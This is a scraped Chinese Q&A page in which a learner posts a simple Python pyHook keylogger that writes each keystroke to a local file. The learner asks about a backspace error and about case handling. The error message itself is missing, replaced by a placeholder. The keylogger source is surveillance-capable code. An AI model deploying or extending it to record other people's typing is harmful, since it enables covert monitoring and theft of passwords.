当我正在学习Python时,我偶然在youtube上看到了一个有趣的视频,展示了如何构建一个简单的Python键盘记录器。我决定稍微修改一下它,使它能够在用户按下backspace时删除最后一个字符,所以我添加了一个if语句和seek和truncate方法。在import pyHook, pythoncom, os

file_log = "D:/Python Projects/log.txt"

def OnKeyboardEvent(event):

global keylog

keylog = chr(event.Ascii)

with open(file_log, "a") as fl:

if event.Ascii == 13:

fl.write("\n")

elif event.Ascii == 8:

fl.seek(-1, os.SEEK_END)

fl.truncate()

else:

fl.write(keylog)

fl.close()

return True

hooking = pyHook.HookManager()

hooking.KeyDown = OnKeyboardEvent

hooking.HookKeyboard()

pythoncom.PumpMessages()

但是,当我尝试运行代码并按下backspace键时,我得到以下错误:

^{pr2}$

有人能帮我吗?

另外,现在键盘记录器将每个字符存储为大写字母。有没有一种方法可以修改脚本来识别字符是小写字母还是大写字母,并以这种方式存储它?在

python keyboard backspace_键盘记录器在按backspace键时抛出错误(Python)相关推荐

  1. Python实现一个键盘记录器功能

    关于Python3--键盘记录 关于Python3--键盘记录 环境:windows 所需库: 函数划分 关于Python3--键盘记录 该方法仅为学习使用,切勿用于非法用途 用python做一个键盘 ...

  2. 删除web文本框中的内容需要或者文本框失去焦点,点击“Backspace”键时页面回退,屏蔽页面回退键的方法

    问题:web文本框中的内容需要删除或者文本框失去焦点,点击"Backspace"键时,页面就回退了,下面是一种屏蔽页面回退键的方法. 原因:当文本输入框设置为只读时,按后退键默认都 ...

  3. java执行python提示import os找不到_java利用Jython调用python抛出错误ImportError: No module named odbchelper...

    Python代码: import odbchelper def add(x, y): """ add method """ return x ...

  4. 当你的Python代码抛出错误,首先应该看这里!

    点击关注我哦 欢迎关注 "小白玩转Python",发现更多 "有趣" 当你写了一段漂亮的代码,却发现到它并不像你预期的那样工作时,那得是多么的沮丧.这时候就需要 ...

  5. python 三种键盘记录器 based on pyhook,pynput,pygame

    在python语言中使用键盘输入,其方式之多,令人发指.但是为什么我要写这篇文章呢?我乐意呀!哈哈哈.当然,同学发问了,老铁,你是闲出屁来了? 哼?怎么可能,我是闲的蛋疼... 咱先把泌尿外科的事放一 ...

  6. 编译 puppy linux,Puppy Linux import gtk在Python中抛出错误

    我使用的是Linux版本2.6.24.16.我相信它使用的是Puppy linux4.2.我实际上在使用小狗游乐场,这是一个专门的分支.然而,他们的帮助文件暗示它是4.2.在 这个包声称有pygtk, ...

  7. python keyboard backspace_selenium键盘按键Keys类及键盘码详解

    selenium可以操作鼠标,此外它的Keys()类提供了操作键盘的途径,因为键盘上几乎所有按键都可以用Keys()类实现. 之前我们一直用元素的send_keys()方法输入文字,其实该方法也可以输 ...

  8. python 实现的键盘记录器 小功能

    目录 一.安装pynput模块 二.编写代码 1.引入键盘模块 2.读取键盘操作 3.设置停止记录触发事件 4.启动监听 三.完整代码 一.安装pynput模块 PS C:\WINDOWS\syste ...

  9. python keyboard hook_键盘监控的实现Ⅰ——Keyboard Hook API函数

    在实际应用中,键盘监控是一种很常见的技术,它包括按键的记录.按键的过滤.按键的修改(映射)等.比方说,我们想统计用户的击键情况,这个就是按键的记录:我们想屏蔽某些系统键(例如Alt键.Win键),这个 ...

  10. python 查看PIL包下的 Image.py 模块时 import _builtin__显示 python version 3.6 does not have module __builtin__

    在 Image.py 代码中它用了try_except,是为了避免python版本错误而设置的,__builtin__是python3内置的,__builtins__是python2内置的,所以这个报 ...

最新文章

  1. python如何安装panda数据库_python怎么安装pandas
  2. Android JNI 传递对象
  3. [转载]Android创世纪 - 第二天
  4. 中国云计算市场加速发展 今年有望突破3000亿
  5. Mule ESB-3.Build a webservice proxy
  6. vue 数组长度_深入理解Vue的数据响应式
  7. CodeForces - 1437G Death DBMS(AC自动机fail树上树链剖分建线段树/暴跳fail)
  8. Windows下自动备份Oracle数据库
  9. ✿ iBm T60 水货入手了 满意 2005
  10. 服务器删除东西直接找不到了,重新安装T1后,用了一天半,又出现演示版到期的问题了-重新删除T1PFLS服务后,怎么找不到服务器-esrv-Gh....exe文件?...
  11. 页式存储系统的逻辑地址是由页号和页内地址两部分组成的
  12. Google 2020 应用与游戏出海 6 月刊: 政策先行,护航应用远洋
  13. 上午卷-1.计算机组成与结构-软件设计师
  14. 国产本地互联网络(LIN)物理层收发器 TJA 1028T
  15. roboware安装包
  16. 贴片功率电感封装尺寸与性能
  17. 程序员的职级和薪酬体系
  18. 软件测试-------Web(性能测试 / 界面测试 / 兼容性测试 / 安全性测试)
  19. 江苏linux系统自考试卷,【历年真题】2020年8月江苏自考专科《操作系统概论》真题与答案...
  20. 面试流程及常见面试题

热门文章

  1. IMAGE_DOS_HEADER解析
  2. OSChina 周五乱弹 ——什么样的工作每天都有艳遇
  3. Shader GrabPass应用实例——实现扭曲效果
  4. Linux介绍及安装过程 常用的命令 对目录或文件的增删改查 压缩和解压缩 用户和权限 shell/shellScript linux的一些其他命令
  5. 往前走吧,管它未来是什么!!
  6. Gromacs—GMX
  7. java身份证实名认证
  8. 2018-2019-1 20165320 《信息安全系统设计基础》 缓冲区溢出漏洞实验
  9. 仿支付宝输入密码界面
  10. NCA(Neighborhood Components Analysis)